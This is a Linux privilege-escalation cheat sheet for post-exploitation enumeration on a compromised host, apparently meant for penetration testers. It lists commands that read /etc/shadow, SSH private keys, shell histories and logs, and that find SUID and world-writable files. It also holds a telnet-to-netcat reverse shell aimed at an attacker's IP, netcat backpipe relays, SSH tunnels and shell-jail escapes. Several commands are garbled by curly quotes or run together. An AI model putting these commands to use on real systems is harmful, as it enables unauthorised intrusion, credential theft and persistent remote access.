基本Linux提权操作

常用Script

LinEnum.sh

https://github.com/rebootuser/LinEnum

linPeas

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

winPeas

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

Operating System

What’s the distribution type? What version?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based

What’s the kernel version? Is it 64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Is there a printer?

lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

ps aux
ps -ef
top
cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable - it’s worth a double check!

ps aux | grep root
ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

What jobs are scheduled?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 “password” [filename]
find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

What other users & hosts are communicating with the system?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig –list
chkconfig –list | grep 3:on
last
w

Whats cached? IP and/or MAC addresses

arp -e
route
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? Can you interact with the system?

nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Is port forwarding possible? Redirect and interact with traffic from another view

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2\_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # List of super users
awk -F: ‘($3 == “0”) {print}’ /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything “interesting” in the home directorie(s)? If it’s possible to access

ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been edting?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Can private-key information be found?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/‘ 2>/dev/null # Anyone
ls -aRl /etc/ | awk ‘$1 ~ /^..w/‘ 2>/dev/null # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^…..w/‘ 2>/dev/null # Group
ls -aRl /etc/ | awk ‘$1 ~ /w.$/‘ 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

What can be found in /var/ ?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Is there anything in the log file(s) (Could help with “Local File Includes”!)

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/

If commands are limited, you break out of the “jail” shell?

python -c ‘import pty;pty.spawn(“/bin/bash”)’
echo os.system(‘/bin/bash’)
/bin/sh -i

How are file-systems mounted?

mount
df -h

Are there any unmounted file-systems?

cat /etc/fstab

What “Advanced Linux File Permissions” are used? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r “bin$”`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in ‘common’ places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null

Where can written to and executed from? A few ‘common’ places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders find / ( -perm -o w -perm -o x ) -type d 2>/dev/null # world-writeable & executable folders

Any “problem” files? Word-writeable, “nobody” files

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files